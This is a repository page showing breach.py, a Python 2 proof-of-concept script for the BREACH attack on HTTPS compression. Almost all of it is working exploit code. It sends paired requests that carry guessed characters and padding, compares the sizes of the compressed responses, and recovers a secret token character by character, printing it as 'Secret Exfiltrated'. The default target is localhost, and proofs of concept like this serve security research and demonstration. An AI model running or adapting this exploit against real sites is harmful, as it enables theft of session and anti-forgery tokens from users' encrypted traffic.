breach-https
old python script to demo breach-https vulnerbility
git clone https://9o.is/git/breach-https.git
breach.py
(4043B)
1 import time
2 from random import randint
3 import requests
4 import math
5
6 keyspace = "0123456789"
7 targetURL = "https://127.0.0.1:8433/?"
8 canary = "token=ajax:"
9 tokenLength = 19
10 cookies = ''
11
12 knownToken = ""
13 NumberOfRequests = 0
14
15 # Default padding (airbags) configuration values
16 PADDING_SIZE = 40; # Default
17 PADDING_SIZE_ADJUSTMENT = 0
18 PADDING_TOP = 300 - PADDING_SIZE
19 PADDING_BOTTOM = 20 - PADDING_SIZE
20
21 def IsCorrectGuess(currentCanary, guess):
22 global NumberOfRequests
23 padding = ""
24
25 for x in xrange(0, (PADDING_SIZE + PADDING_SIZE_ADJUSTMENT) / 2):
26 padding += "{}"
27
28 headers = { \
29 'Cache-Control' : 'no-cache', \
30 'Accept-Encoding' : 'gzip, deflate', \
31 'Pragma' : 'no-cache', \
32 'Cookie' : cookies, \
33 'Accept' : '*/*', \
34 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (BREACH 1.0, like Gecko) Chrome/22.0.1229.94 Safari/537.4', \
35 'Connection' : 'keep-alive'}
36 r1 = requests.get(targetURL + currentCanary + guess + padding + "@", headers=headers, verify=False)
37 r2 = requests.get(targetURL + currentCanary + padding + guess + "@", headers=headers, verify=False)
38 r1Len = len(r1.raw.data)
39 r2Len = len(r2.raw.data)
40 NumberOfRequests += 2
41
42 if not r1.ok or not r2.ok or math.fabs(r1Len - r2Len) > 100:
43 r1 = requests.get(targetURL + currentCanary + guess + padding + "@", headers=headers, verify=False)
44 r2 = requests.get(targetURL + currentCanary + padding + guess + "@", headers=headers, verify=False)
45 r1Len = len(r1.raw.data)
46 r2Len = len(r2.raw.data)
47 NumberOfRequests += 2
48
49 if r1Len < r2Len:
50 print "bytes1: " + str(r1Len) + " ... bytes2: " + str(r2Len) + " [" + guess + "]"
51 return (True, False)
52 elif r2Len < r1Len:
53 return (False, True) # false positive
54
55 return (False, False)
56
57
58 def main():
59 global knownToken
60 global NumberOfRequests
61 AirbagExpansions = 0
62 ForceRecoveryMode = False
63 start = time.time()
64
65 while True:
66 winner = None
67 knownBad = False
68 blackListedIntelligence = []
69
70 for c in keyspace:
71 if ForceRecoveryMode: break
72
73 knownBad = False
74 (isCorrect, knownBad) = IsCorrectGuess(canary + knownToken, c)
75 if isCorrect:
76 print "[+] The winner is: " + c
77
78 if winner:
79 print "[!] FIRST ROUND COLLISION - We already had a winner!! (" + \
80 winner + " vs. " + c + ")"
81 print "Forcing Recovery Mode."
82 winner = None
83 ForceRecoveryMode = True
84 break
85 else:
86 winner = c
87
88 if knownBad:
89 blackListedIntelligence.append(c)
90
91
92 # If we didn't find a winner -or found too many-, try different padding sizes
93 if not winner and AirbagExpansions < 5:
94 PADDING_SIZE_ADJUSTMENT = randint(PADDING_BOTTOM, PADDING_TOP)
95 print "[ Brief Airbag Expansion (#" + str(AirbagExpansions + 1) + \
96 " @ " + str(PADDING_SIZE + PADDING_SIZE_ADJUSTMENT) + ") ]"
97 AirbagExpansions += 1
98 continue
99
100 # Additional *BASIC* recovery mechanisms
101 # This will probe 2 characters at a time (n x n)
102 if not winner:
103 print "[!] We could not locate a winner"
104 print "Initiating recovery procedure #1..."
105
106 for c in keyspace:
107 for d in keyspace:
108 if d in blackListedIntelligence:
109 print " ... " + d + " ... "
110 continue
111
112 knownBad2 = False
113 (isCorrect, knownBad2) = IsCorrectGuess(canary + knownToken, d+c)
114 if not winner and isCorrect:
115 print "[+] The winner is: " + d
116 winner = d
117
118 # If we found a winner, we continue with the next character
119 if winner:
120 knownToken += winner
121 AirbagExpansions = 0
122 PADDING_SIZE_ADJUSTMENT = 0
123
124 print "--- --- ---"
125 if knownToken.__len__() >= tokenLength:
126 break
127
128 print "------------- GREAT SUCCESS WITH " + str(NumberOfRequests) + " REQUESTS -------------------- "
129 print "Secret Exfiltrated (in " + str(time.time() - start) + " seconds): " + knownToken
130 print ""
131
132 if __name__ == '__main__':
133 main()
134